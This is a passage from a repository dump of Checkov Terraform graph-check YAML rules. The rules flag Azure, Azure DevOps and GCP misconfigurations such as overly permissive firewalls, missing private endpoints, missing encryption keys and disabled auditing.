azurerm_network_interface operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzurePostgreSQLFlexServerNotOverlyPermissive.yaml ================================================ metadata: id: "CKV2_AZURE_26" name: "Ensure Azure PostgreSQL Flexible server is not configured with overly permissive network access" category: "GENERAL_SECURITY" definition: and: - cond_type: attribute resource_types: "azurerm_postgresql_flexible_server_firewall_rule" attribute: "start_ip_address" operator: "not_equals" value: "0.0.0.0" - cond_type: attribute resource_types: "azurerm_postgresql_flexible_server_firewall_rule" attribute: "end_ip_address" operator: "not_equals" value: "255.255.255.255" ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzurePostgreSQLFlexibleServerConfigPrivEndpt.yaml ================================================ metadata: id: "CKV2_AZURE_57" name: "Ensure PostgreSQL Flexible Server is configured with private endpoint" category: "GENERAL_SECURITY" definition: and: - cond_type: "filter" attribute: "resource_type" operator: "within" value: - "azurerm_postgresql_flexible_server" - cond_type: "connection" resource_types: - "azurerm_postgresql_flexible_server" connected_resource_types: - "azurerm_private_endpoint" operator: "exists" ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzurePostgreSQLserverConfigPrivEndpt.yaml ================================================ metadata: id: "CKV2_AZURE_42" name: "Ensure Azure PostgreSQL server is configured with private endpoint" category: "GENERAL_SECURITY" definition: and: - cond_type: "filter" attribute: "resource_type" operator: "within" value: - "azurerm_postgresql_server" - cond_type: "connection" resource_types: - "azurerm_postgresql_server" connected_resource_types: - "azurerm_private_endpoint" operator: "exists" ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureRecoveryServicesvaultConfigManagedIdentity.yaml ================================================ metadata: id: "CKV2_AZURE_35" name: "Ensure Azure recovery services vault is configured with managed identity" category: "IAM" definition: and: - cond_type: "attribute" resource_types: "azurerm_recovery_services_vault" attribute: "identity.type" operator: "exists" - cond_type: "attribute" resource_types: "azurerm_recovery_services_vault" attribute: "identity.type" operator: "number_of_words_not_equals" value: "0" ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureSQLserverNotOverlyPermissive.yaml ================================================ metadata: id: "CKV2_AZURE_34" name: "Ensure Azure SQL server firewall is not overly permissive" category: "NETWORKING" definition: or: - cond_type: "attribute" resource_types: - "azurerm_sql_firewall_rule" - "azurerm_mssql_firewall_rule" attribute: "start_ip_address" operator: "not_equals" value: "0.0.0.0" - cond_type: "attribute" resource_types: - "azurerm_sql_firewall_rule" - "azurerm_mssql_firewall_rule" attribute: "end_ip_address" operator: "not_equals" value: "0.0.0.0" ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureSpringCloudConfigWithVnet.yaml ================================================ metadata: id: "CKV2_AZURE_23" name: "Ensure Azure spring cloud is configured with Virtual network (Vnet)" category: "NETWORKING" definition: and: - cond_type: attribute resource_types: "azurerm_spring_cloud_service" attribute: "sku_name" operator: "not_equals_ignore_case" value: "B0" - cond_type: attribute resource_types: "azurerm_spring_cloud_service" attribute: "network.service_runtime_subnet_id" operator: "exists" ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureSpringCloudTLSDisabled.yaml ================================================ metadata: id: "CKV2_AZURE_55" name: "Ensure Azure Spring Cloud app end-to-end TLS is enabled" category: "NETWORKING" definition: or: - cond_type: attribute resource_types: - azurerm_spring_cloud_service attribute: sku_tier operator: not_exists - cond_type: attribute resource_types: - azurerm_spring_cloud_service attribute: sku_tier operator: equals value: "Basic" - and: - cond_type: filter attribute: resource_type value: - azurerm_spring_cloud_service operator: within - or: - resource_types: - azurerm_spring_cloud_service connected_resource_types: - azurerm_spring_cloud_app operator: not_exists cond_type: connection - and: - resource_types: - azurerm_spring_cloud_service connected_resource_types: - azurerm_spring_cloud_app operator: exists cond_type: connection - cond_type: attribute resource_types: - azurerm_spring_cloud_app attribute: tls_enabled operator: exists - cond_type: attribute resource_types: - azurerm_spring_cloud_app attribute: tls_enabled operator: is_true ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureSqlDbEnableTransparentDataEncryption.yaml ================================================ metadata: id: "CKV2_AZURE_25" name: "Ensure Azure SQL database Transparent Data Encryption (TDE) is enabled" category: "GENERAL_SECURITY" definition: cond_type: attribute resource_types: "azurerm_mssql_database" attribute: "transparent_data_encryption_enabled" operator: "not_equals" value: "false" ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureStorageAccConfigSharedKeyAuth.yaml ================================================ metadata: id: "CKV2_AZURE_40" name: "Ensure storage account is not configured with Shared Key authorization" category: "IAM" definition: and: - cond_type: "attribute" resource_types: "azurerm_storage_account" attribute: "shared_access_key_enabled" operator: "exists" - cond_type: "attribute" resource_types: "azurerm_storage_account" attribute: "shared_access_key_enabled" operator: "equals_ignore_case" value: "false" ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureStorageAccConfigWithPrivateEndpoint.yaml ================================================ metadata: id: "CKV2_AZURE_33" name: "Ensure storage account is configured with private endpoint" category: "GENERAL_SECURITY" definition: and: - cond_type: "filter" attribute: "resource_type" operator: "within" value: - "azurerm_storage_account" - cond_type: "connection" resource_types: - "azurerm_storage_account" connected_resource_types: - "azurerm_private_endpoint" operator: "exists" ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureStorageAccConfigWithoutBlobAnonymousAccess.yaml ================================================ metadata: id: "CKV2_AZURE_47" name: "Ensure storage account is configured without blob anonymous access" category: "IAM" definition: and: - cond_type: "attribute" resource_types: "azurerm_storage_account" attribute: "allow_nested_items_to_be_public" operator: "exists" - cond_type: "attribute" resource_types: "azurerm_storage_account" attribute: "allow_nested_items_to_be_public" operator: "equals_ignore_case" value: "false" ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureStorageAccConfig_SAS_expirePolicy.yaml ================================================ metadata: id: "CKV2_AZURE_41" name: "Ensure storage account is configured with SAS expiration policy" category: "IAM" definition: or: - cond_type: "attribute" resource_types: "azurerm_storage_account" attribute: "shared_access_key_enabled" operator: "equals_ignore_case" value: "false" - and: - cond_type: "attribute" resource_types: "azurerm_storage_account" attribute: "shared_access_key_enabled" operator: "exists" - cond_type: "attribute" resource_types: "azurerm_storage_account" attribute: "shared_access_key_enabled" operator: "equals_ignore_case" value: "true" - cond_type: "attribute" resource_types: "azurerm_storage_account" attribute: "sas_policy" operator: "exists" - cond_type: "attribute" resource_types: "azurerm_storage_account" attribute: "sas_policy.expiration_period" operator: "length_greater_than" value: "0" ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureStorageAccountEnableSoftDelete.yaml ================================================ metadata: id: "CKV2_AZURE_38" name: "Ensure soft-delete is enabled on Azure storage account" category: "GENERAL_SECURITY" definition: and: - or: - cond_type: "attribute" resource_types: "azurerm_storage_account" attribute: "blob_properties.delete_retention_policy.days" operator: "greater_than" value: 0 - cond_type: "attribute" resource_types: "azurerm_storage_account" attribute: "blob_properties.delete_retention_policy" operator: "exists" - or: - cond_type: "attribute" resource_types: "azurerm_storage_account" attribute: "account_kind" operator: "not_exists" - cond_type: "attribute" resource_types: "azurerm_storage_account" attribute: "account_kind" operator: "not_equals_ignore_case" value: "FileStorage" ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureSubnetConfigWithNSG.yaml ================================================ metadata: id: "CKV2_AZURE_31" name: "Ensure VNET subnet is configured with a Network Security Group (NSG)" category: "GENERAL_SECURITY" definition: or: # Check if subnet & NSG are connected and present in the # "azurerm_subnet_network_security_group_association" block - and: - cond_type: "filter" attribute: "resource_type" operator: "within" value: - "azurerm_subnet" - cond_type: "connection" resource_types: - "azurerm_subnet" connected_resource_types: - "azurerm_network_security_group" - "azurerm_subnet_network_security_group_association" operator: "exists" # Ignore if subnet name is "GatewaySubnet" or "AzureFirewallSubnet" - cond_type: "attribute" resource_types: "azurerm_subnet" attribute: "name" operator: "equals_ignore_case" value: "GatewaySubnet" - cond_type: "attribute" resource_types: "azurerm_subnet" attribute: "name" operator: "equals_ignore_case" value: "AzureFirewallSubnet" # Ignore if service_delegation equals "Microsoft.Netapp/volumes" - cond_type: "attribute" resource_types: "azurerm_subnet" attribute: "delegation.service_delegation.name" operator: "equals_ignore_case" value: "Microsoft.Netapp/volumes" ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureSynapseWorkspaceVAisEnabled.yaml ================================================ metadata: id: "CKV2_AZURE_46" name: "Ensure that Azure Synapse Workspace vulnerability assessment is enabled" category: "GENERAL_SECURITY" definition: and: - resource_types: - azurerm_synapse_workspace_security_alert_policy connected_resource_types: - azurerm_synapse_workspace operator: exists cond_type: connection - resource_types: - azurerm_synapse_workspace_vulnerability_assessment connected_resource_types: - azurerm_synapse_workspace_security_alert_policy operator: exists cond_type: connection - cond_type: attribute resource_types: - azurerm_synapse_workspace_vulnerability_assessment attribute: 'recurring_scans.*.enabled' operator: equals value: true - cond_type: filter attribute: resource_type value: - azurerm_synapse_workspace_vulnerability_assessment operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.yaml ================================================ metadata: id: "CKV2_AZURE_19" name: "Ensure that Azure Synapse workspaces have no IP firewall rules attached" category: "NETWORKING" definition: and: - resource_types: - azurerm_synapse_workspace connected_resource_types: - azurerm_synapse_firewall_rule operator: not_exists cond_type: connection - cond_type: filter attribute: resource_type value: - azurerm_synapse_workspace operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureUnattachedDisksAreEncrypted.yaml ================================================ metadata: id: "CKV2_AZURE_14" name: "Ensure that Unattached disks are encrypted" category: "ENCRYPTION" definition: and: - cond_type: filter attribute: resource_type value: - azurerm_virtual_machine operator: within - or: - resource_types: - azurerm_virtual_machine connected_resource_types: - azurerm_managed_disk operator: not_exists cond_type: connection - and: - resource_types: - azurerm_virtual_machine connected_resource_types: - azurerm_managed_disk operator: exists cond_type: connection - or: - cond_type: attribute operator: exists attribute: disk_encryption_set_id resource_types: - azurerm_managed_disk - and: - cond_type: attribute operator: exists attribute: encryption_settings resource_types: - azurerm_managed_disk - cond_type: attribute operator: not_equals attribute: encryption_settings.enabled value: false resource_types: - azurerm_managed_disk ================================================ FILE: checkov/terraform/checks/graph_checks/azure/AzureVMconfigPublicIP_SerialConsoleAccess.yaml ================================================ metadata: id: "CKV2_AZURE_39" name: "Ensure Azure VM is not configured with public IP and serial console access" category: "NETWORKING" definition: or: - and: - cond_type: filter attribute: resource_type value: - azurerm_network_interface operator: within - resource_types: - azurerm_network_interface connected_resource_types: - azurerm_linux_virtual_machine - azurerm_windows_virtual_machine - azurerm_virtual_machine operator: exists cond_type: connection - cond_type: attribute resource_types: - azurerm_network_interface attribute: ip_configuration.public_ip_address_id operator: length_greater_than value: 0 - cond_type: attribute resource_types: - azurerm_linux_virtual_machine - azurerm_windows_virtual_machine - azurerm_virtual_machine attribute: boot_diagnostics operator: not_exists - cond_type: attribute resource_types: - azurerm_network_interface attribute: ip_configuration.public_ip_address_id operator: not_exists - cond_type: attribute resource_types: - azurerm_network_interface attribute: ip_configuration.public_ip_address_id operator: length_less_than_or_equal value: 0 - cond_type: attribute resource_types: - azurerm_network_interface attribute: ip_configuration.public_ip_address_id operator: equals value: null ================================================ FILE: checkov/terraform/checks/graph_checks/azure/CognitiveServicesCustomerManagedKey.yaml ================================================ metadata: id: "CKV2_AZURE_22" name: "Ensure that Cognitive Services enables customer-managed key for encryption" category: "ENCRYPTION" definition: and: - resource_types: - azurerm_cognitive_account connected_resource_types: - azurerm_cognitive_account_customer_managed_key operator: exists cond_type: connection - resource_types: - azurerm_cognitive_account_customer_managed_key connected_resource_types: - azurerm_key_vault_key operator: exists cond_type: connection - cond_type: filter attribute: resource_type value: - azurerm_cognitive_account operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/azure/DataExplorerEncryptionUsesCustomKey.yaml ================================================ metadata: id: "CKV2_AZURE_11" name: "Ensure that Azure Data Explorer encryption at rest uses a customer-managed key" category: "ENCRYPTION" definition: and: - resource_types: - azurerm_kusto_cluster connected_resource_types: - azurerm_kusto_cluster_customer_managed_key operator: exists attribute: networking cond_type: connection - cond_type: filter attribute: resource_type value: - azurerm_kusto_cluster operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/azure/DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.yaml ================================================ metadata: id: "CKV2_AZURE_48" name: "Ensure that Databricks Workspaces enables customer-managed key for root DBFS encryption" category: "ENCRYPTION" definition: or: - and: - cond_type: filter attribute: resource_type operator: within value: - azurerm_databricks_workspace - resource_types: - azurerm_databricks_workspace operator: not_equals cond_type: attribute attribute: sku value: "premium" - and: - cond_type: filter attribute: resource_type operator: within value: - azurerm_databricks_workspace - resource_types: - azurerm_databricks_workspace operator: equals cond_type: attribute attribute: sku value: "premium" - resource_types: - azurerm_databricks_workspace operator: equals cond_type: attribute attribute: customer_managed_key_enabled value: true - resource_types: - azurerm_databricks_workspace connected_resource_types: - azurerm_databricks_workspace_root_dbfs_customer_managed_key operator: exists cond_type: connection # Root DBFS encryption is only valid if the Databricks Workspace sku is set to 'premium'. # https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/databricks_workspace#customer_managed_key_enabled ================================================ FILE: checkov/terraform/checks/graph_checks/azure/MSQLenablesCustomerManagedKey.yaml ================================================ metadata: id: "CKV2_AZURE_16" name: "Ensure that MySQL server enables customer-managed key for encryption" category: "ENCRYPTION" definition: and: - resource_types: - azurerm_mysql_server connected_resource_types: - azurerm_mysql_server_key operator: exists cond_type: connection - resource_types: - azurerm_mysql_server_key connected_resource_types: - azurerm_key_vault_key operator: exists cond_type: connection - cond_type: filter attribute: resource_type value: - azurerm_mysql_server operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/azure/PGSQLenablesCustomerManagedKey.yaml ================================================ metadata: id: "CKV2_AZURE_17" name: "Ensure that PostgreSQL server enables customer-managed key for encryption" category: "ENCRYPTION" definition: and: - resource_types: - azurerm_postgresql_server connected_resource_types: - azurerm_postgresql_server_key operator: exists cond_type: connection - resource_types: - azurerm_postgresql_server_key connected_resource_types: - azurerm_key_vault_key operator: exists cond_type: connection - cond_type: filter attribute: resource_type value: - azurerm_postgresql_server_key operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/azure/SQLServerAuditingEnabled.yaml ================================================ metadata: id: "CKV_AZURE_23" name: "Ensure that 'Auditing' is set to 'On' for SQL servers" category: "LOGGING" definition: and: - cond_type: filter attribute: resource_type value: - azurerm_sql_server - azurerm_mssql_server operator: within - or: - cond_type: attribute resource_types: - azurerm_sql_server - azurerm_mssql_server attribute: extended_auditing_policy operator: exists - and: - cond_type: filter attribute: resource_type value: - azurerm_mssql_server operator: within - cond_type: attribute resource_types: - azurerm_mssql_server_extended_auditing_policy attribute: server_id operator: exists - cond_type: connection resource_types: - azurerm_mssql_server_extended_auditing_policy connected_resource_types: - azurerm_mssql_server operator: exists ================================================ FILE: checkov/terraform/checks/graph_checks/azure/SQLServerAuditingRetention90Days.yaml ================================================ metadata: id: "CKV_AZURE_24" name: "Ensure that 'Auditing' Retention is 'greater than 90 days' for SQL servers" category: "LOGGING" definition: and: - cond_type: filter attribute: resource_type value: - azurerm_sql_server - azurerm_mssql_server operator: within - or: - cond_type: attribute resource_types: - azurerm_sql_server - azurerm_mssql_server attribute: "extended_auditing_policy.*.retention_in_days" operator: greater_than_or_equal value: 90 - and: - cond_type: filter attribute: resource_type value: - azurerm_mssql_server operator: within - cond_type: attribute resource_types: - azurerm_mssql_server_extended_auditing_policy attribute: "retention_in_days" operator: greater_than_or_equal value: 90 - cond_type: connection resource_types: - azurerm_mssql_server_extended_auditing_policy connected_resource_types: - azurerm_mssql_server operator: exists ================================================ FILE: checkov/terraform/checks/graph_checks/azure/StorageContainerActivityLogsNotPublic.yaml ================================================ metadata: name: "Ensure the storage container storing the activity logs is not publicly accessible" id: "CKV2_AZURE_8" category: "LOGGING" definition: or: - and: - cond_type: filter attribute: resource_type value: - azurerm_storage_container operator: within - cond_type: connection resource_types: - azurerm_storage_container connected_resource_types: - azurerm_storage_account operator: exists - or: - cond_type: connection resource_types: - azurerm_storage_account connected_resource_types: - azurerm_monitor_activity_log_alert operator: not_exists - and: - cond_type: connection resource_types: - azurerm_storage_account connected_resource_types: - azurerm_monitor_activity_log_alert operator: exists - cond_type: attribute resource_types: - azurerm_monitor_activity_log_alert attribute: enabled operator: equals value: false - or: - cond_type: attribute resource_types: - azurerm_storage_container attribute: container_access_type operator: not_exists - cond_type: attribute resource_types: - azurerm_storage_container attribute: container_access_type operator: equals value: private ================================================ FILE: checkov/terraform/checks/graph_checks/azure/StorageCriticalDataEncryptedCMK.yaml ================================================ metadata: name: "Ensure storage for critical data are encrypted with Customer Managed Key" id: "CKV2_AZURE_1" category: "ENCRYPTION" definition: or: - and: - cond_type: filter attribute: resource_type value: - azurerm_storage_account operator: within - cond_type: connection resource_types: - azurerm_storage_account connected_resource_types: - azurerm_storage_account_customer_managed_key operator: exists - resource_types: - azurerm_storage_account operator: exists cond_type: attribute attribute: customer_managed_key.key_vault_key_id ================================================ FILE: checkov/terraform/checks/graph_checks/azure/StorageLoggingIsEnabledForBlobService.yaml ================================================ metadata: id: "CKV2_AZURE_21" name: "Ensure Storage logging is enabled for Blob service for read requests" category: "LOGGING" definition: and: - resource_types: - azurerm_storage_container connected_resource_types: - azurerm_storage_account operator: exists cond_type: connection - resource_types: - azurerm_storage_account connected_resource_types: - azurerm_log_analytics_storage_insights operator: exists cond_type: connection - resource_types: - azurerm_log_analytics_storage_insights operator: exists cond_type: attribute attribute: blob_container_names - resource_types: - azurerm_storage_container operator: within cond_type: attribute attribute: container_access_type value: - "private" - "blob" - cond_type: filter attribute: resource_type value: - azurerm_storage_container operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/azure/StorageLoggingIsEnabledForTableService.yaml ================================================ metadata: id: "CKV2_AZURE_20" name: "Ensure Storage logging is enabled for Table service for read requests" category: "LOGGING" definition: and: - resource_types: - azurerm_storage_table connected_resource_types: - azurerm_storage_account operator: exists cond_type: connection - resource_types: - azurerm_storage_account connected_resource_types: - azurerm_log_analytics_storage_insights operator: exists cond_type: connection - resource_types: - azurerm_log_analytics_storage_insights operator: exists cond_type: attribute attribute: table_names - cond_type: filter attribute: resource_type value: - azurerm_storage_table operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/azure/SynapseLogMonitoringEnabledForSQLPool.yaml ================================================ metadata: id: "CKV2_AZURE_54" name: "Ensure log monitoring is enabled for Synapse SQL Pool" category: "LOGGING" definition: and: - cond_type: connection resource_types: - azurerm_synapse_sql_pool connected_resource_types: - azurerm_synapse_sql_pool_extended_auditing_policy operator: exists - cond_type: filter attribute: resource_type value: - azurerm_synapse_sql_pool operator: within - or: - and: - cond_type: attribute resource_types: - azurerm_synapse_sql_pool_extended_auditing_policy attribute: log_monitoring_enabled operator: exists - cond_type: attribute resource_types: - azurerm_synapse_sql_pool_extended_auditing_policy attribute: log_monitoring_enabled operator: equals value: true - cond_type: attribute resource_types: - azurerm_synapse_sql_pool_extended_auditing_policy attribute: log_monitoring_enabled operator: not_exists ================================================ FILE: checkov/terraform/checks/graph_checks/azure/SynapseSQLPoolHasSecurityAlertPolicy.yaml ================================================ metadata: id: "CKV2_AZURE_51" name: "Ensure Synapse SQL Pool has a security alert policy" category: "GENERAL_SECURITY" definition: and: - cond_type: connection resource_types: - azurerm_synapse_sql_pool connected_resource_types: - azurerm_synapse_sql_pool_security_alert_policy operator: exists - cond_type: attribute resource_types: - azurerm_synapse_sql_pool_security_alert_policy attribute: 'policy_state' operator: equals value: 'Enabled' - cond_type: filter attribute: resource_type value: - azurerm_synapse_sql_pool operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/azure/SynapseSQLPoolHasVulnerabilityAssessment.yaml ================================================ metadata: id: "CKV2_AZURE_52" name: "Ensure Synapse SQL Pool has vulnerability assessment attached" category: "GENERAL_SECURITY" definition: and: - resource_types: - azurerm_synapse_sql_pool connected_resource_types: - azurerm_synapse_sql_pool_security_alert_policy operator: exists cond_type: connection - resource_types: - azurerm_synapse_sql_pool_security_alert_policy connected_resource_types: - azurerm_synapse_sql_pool_vulnerability_assessment operator: exists cond_type: connection - cond_type: attribute resource_types: - azurerm_synapse_sql_pool_vulnerability_assessment attribute: 'recurring_scans.*.enabled' operator: equals value: true - cond_type: filter attribute: resource_type value: - azurerm_synapse_sql_pool_security_alert_policy operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/azure/SynapseWorkspaceHasExtendedAuditLogs.yaml ================================================ metadata: id: "CKV2_AZURE_53" name: "Ensure Azure Synapse Workspace has extended audit logs" category: "LOGGING" definition: and: - cond_type: filter attribute: resource_type value: - azurerm_synapse_workspace operator: within - cond_type: connection resource_types: - azurerm_synapse_workspace connected_resource_types: - azurerm_synapse_workspace_extended_auditing_policy operator: exists ================================================ FILE: checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReports.yaml ================================================ metadata: name: "Ensure Azure SQL server ADS VA Send scan reports to is configured" id: "CKV2_AZURE_4" category: "GENERAL_SECURITY" definition: and: - or: - resource_types: - azurerm_sql_server connected_resource_types: - azurerm_mssql_server_security_alert_policy operator: exists cond_type: connection - resource_types: - azurerm_mssql_server connected_resource_types: - azurerm_mssql_server_security_alert_policy operator: exists cond_type: connection - cond_type: attribute resource_types: - "azurerm_mssql_server_security_alert_policy" attribute: state operator: equals value: Enabled - resource_types: - azurerm_mssql_server_security_alert_policy connected_resource_types: - azurerm_mssql_server_vulnerability_assessment operator: exists cond_type: connection - or : - cond_type: attribute resource_types: - azurerm_mssql_server_vulnerability_assessment attribute: 'recurring_scans.*.email_subscription_admins' operator: equals value: true - cond_type: attribute resource_types: - azurerm_mssql_server_vulnerability_assessment attribute: 'recurring_scans.emails' operator: exists - cond_type: filter attribute: resource_type value: - azurerm_mssql_server_vulnerability_assessment operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReportsToAdmins.yaml ================================================ metadata: name: "Ensure that VA setting 'Also send email notifications to admins and subscription owners' is set for a SQL server" id: "CKV2_AZURE_5" category: "GENERAL_SECURITY" definition: and: - or: - resource_types: - azurerm_sql_server connected_resource_types: - azurerm_mssql_server_security_alert_policy operator: exists cond_type: connection - resource_types: - azurerm_mssql_server connected_resource_types: - azurerm_mssql_server_security_alert_policy operator: exists cond_type: connection - cond_type: attribute resource_types: - "azurerm_mssql_server_security_alert_policy" attribute: state operator: equals value: Enabled - resource_types: - azurerm_mssql_server_security_alert_policy connected_resource_types: - azurerm_mssql_server_vulnerability_assessment operator: exists cond_type: connection - cond_type: attribute resource_types: - azurerm_mssql_server_vulnerability_assessment attribute: 'recurring_scans.*.email_subscription_admins' operator: equals value: true - cond_type: attribute resource_types: - azurerm_mssql_server_vulnerability_assessment attribute: 'recurring_scans.*.emails' operator: exists - cond_type: filter attribute: resource_type value: - azurerm_mssql_server_vulnerability_assessment operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/azure/VAisEnabledInStorageAccount.yaml ================================================ metadata: name: "Ensure that Vulnerability Assessment (VA) is enabled on a SQL server by setting a Storage Account" id: "CKV2_AZURE_2" category: "GENERAL_SECURITY" definition: and: - cond_type: filter attribute: resource_type value: - azurerm_sql_server - azurerm_mssql_server operator: within - resource_types: - azurerm_sql_server - azurerm_mssql_server connected_resource_types: - azurerm_mssql_server_security_alert_policy operator: exists cond_type: connection - cond_type: attribute resource_types: - "azurerm_mssql_server_security_alert_policy" attribute: state operator: equals value: Enabled ================================================ FILE: checkov/terraform/checks/graph_checks/azure/VAsetPeriodicScansOnSQL.yaml ================================================ metadata: name: "Ensure that VA setting Periodic Recurring Scans is enabled on a SQL server" id: "CKV2_AZURE_3" category: "GENERAL_SECURITY" definition: and: - or: - resource_types: - azurerm_sql_server connected_resource_types: - azurerm_mssql_server_security_alert_policy operator: exists cond_type: connection - resource_types: - azurerm_mssql_server connected_resource_types: - azurerm_mssql_server_security_alert_policy operator: exists cond_type: connection - cond_type: attribute resource_types: - "azurerm_mssql_server_security_alert_policy" attribute: state operator: equals value: Enabled - resource_types: - azurerm_mssql_server_security_alert_policy connected_resource_types: - azurerm_mssql_server_vulnerability_assessment operator: exists cond_type: connection - cond_type: attribute resource_types: - azurerm_mssql_server_vulnerability_assessment attribute: 'recurring_scans.*.enabled' operator: equals value: true - cond_type: filter attribute: resource_type value: - azurerm_mssql_server_vulnerability_assessment operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/azure/VMHasBackUpMachine.yaml ================================================ metadata: id: "CKV2_AZURE_12" name: "Ensure that virtual machines are backed up using Azure Backup" category: "BACKUP_AND_RECOVERY" definition: and: - resource_types: - azurerm_virtual_machine connected_resource_types: - azurerm_backup_protected_vm operator: exists attribute: networking cond_type: connection - cond_type: filter attribute: resource_type value: - azurerm_virtual_machine operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/azure/VirtualMachinesUtilizingManagedDisks.yaml ================================================ metadata: name: "Ensure Virtual Machines are utilizing Managed Disks" category: "GENERAL_SECURITY" id: "CKV2_AZURE_9" definition: and: - cond_type: filter attribute: resource_type value: - azurerm_virtual_machine operator: within - cond_type: attribute attribute: storage_os_disk.managed_disk_type operator: exists resource_types: - azurerm_virtual_machine - cond_type: attribute operator: not_exists attribute: storage_os_disk.vhd_uri resource_types: - azurerm_virtual_machine ================================================ FILE: checkov/terraform/checks/graph_checks/azuredevops/ADORepositoryHasMinTwoReviewers.yaml ================================================ metadata: name: "Ensure at least two approving reviews for PRs" category: "GENERAL_SECURITY" id: "CKV2_ADO_1" scope: provider: "AZUREDEVOPS" definition: and: - resource_types: - azuredevops_git_repository connected_resource_types: - azuredevops_branch_policy_min_reviewers operator: exists cond_type: connection - cond_type: attribute attribute: settings.reviewer_count value: 2 operator: greater_than_or_equal resource_types: - azuredevops_branch_policy_min_reviewers - cond_type: filter attribute: resource_type value: - azuredevops_git_repository operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/CloudFunctionSecureHTTPTrigger.yaml ================================================ metadata: id: "CKV2_GCP_10" name: "Ensure GCP Cloud Function HTTP trigger is secured" category: "NETWORKING" definition: or: # Pass if cloud function is not http triggered - cond_type: "attribute" resource_types: - "google_cloudfunctions_function" attribute: "trigger_http" operator: "not_equals" value: true # If trigger_http is true. Evaluate security_level. - cond_type: "attribute" resource_types: - "google_cloudfunctions_function" attribute: "https_trigger_security_level" operator: "equals" value: "SECURE_ALWAYS" ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/DisableAccessToSqlDBInstanceForRootUsersWithoutPassword.yaml ================================================ metadata: id: "CKV2_GCP_7" name: "Ensure that a MySQL database instance does not allow anyone to connect with administrative privileges" category: "IAM" definition: and: - cond_type: filter attribute: resource_type value: - google_sql_database_instance operator: within - or: - cond_type: attribute attribute: database_version operator: not_starting_with value: "MYSQL" resource_types: - google_sql_database_instance - resource_types: - google_sql_database_instance connected_resource_types: - google_sql_user operator: not_exists cond_type: connection - and: - resource_types: - google_sql_database_instance connected_resource_types: - google_sql_user operator: exists cond_type: connection - or: - cond_type: attribute attribute: name operator: not_starting_with value: "root" resource_types: - google_sql_user - and: - cond_type: attribute attribute: name operator: starting_with value: "root" resource_types: - google_sql_user - cond_type: attribute attribute: password operator: exists resource_types: - google_sql_user ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPAuditLogsConfiguredForAllServicesAndUsers.yaml ================================================ metadata: id: "CKV2_GCP_5" name: "Ensure that Cloud Audit Logging is configured properly across all services and all users from a project" category: "Logging" definition: and: - cond_type: filter attribute: resource_type value: - google_project operator: within - resource_types: - google_project connected_resource_types: - google_project_iam_audit_config operator: exists cond_type: connection - or: - cond_type: attribute resource_types: - google_project_iam_audit_config attribute: "audit_log_config.*.exempted_members" operator: not_exists - cond_type: attribute resource_types: - google_project_iam_audit_config attribute: "audit_log_config.*.exempted_members" operator: is_empty - cond_type: attribute resource_types: - google_project_iam_audit_config attribute: service operator: equals value: "allServices" ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPComputeFirewallOverlyPermissiveToAllTraffic.yaml ================================================ metadata: name: "Ensure GCP compute firewall ingress does not allow unrestricted access to all ports" id: "CKV2_GCP_12" category: "NETWORKING" definition: or: - cond_type: "attribute" resource_types: - "google_compute_firewall" attribute: "disabled" operator: "equals" value: "true" - cond_type: "attribute" resource_types: - "google_compute_firewall" attribute: "direction" operator: "equals" value: "EGRESS" - cond_type: "attribute" resource_types: - "google_compute_firewall" attribute: "allow.protocol" operator: "not_equals" value: "all" - cond_type: "attribute" resource_types: - "google_compute_firewall" attribute: "deny.protocol" operator: "equals" value: "all" - cond_type: "attribute" resource_types: - "google_compute_firewall" attribute: "source_ranges" operator: "not_intersects" value: - "::/0" - "::0" - "0.0.0.0" - "0.0.0.0/0" ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPComputeGlobalForwardingRuleCheck.yaml ================================================ metadata: id: "CKV2_GCP_38" name: "Ensure GCP compute global forwarding rule does not use HTTP proxies with EXTERNAL load balancing scheme" category: "NETWORKING" definition: or: - and: - cond_type: attribute attribute: target operator: not_contains value: "google_compute_region_target_http_proxy" resource_types: - google_compute_global_forwarding_rule - cond_type: attribute attribute: target operator: not_contains value: "targetHttpProxies" resource_types: - google_compute_global_forwarding_rule - and: - cond_type: attribute attribute: load_balancing_scheme operator: not_equals_ignore_case value: "EXTERNAL" resource_types: - google_compute_global_forwarding_rule - cond_type: attribute attribute: load_balancing_scheme operator: exists resource_types: - google_compute_global_forwarding_rule ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPComputeRegionalForwardingRuleCheck.yaml ================================================ metadata: id: "CKV2_GCP_37" name: "Ensure GCP compute regional forwarding rule does not use HTTP proxies with EXTERNAL load balancing 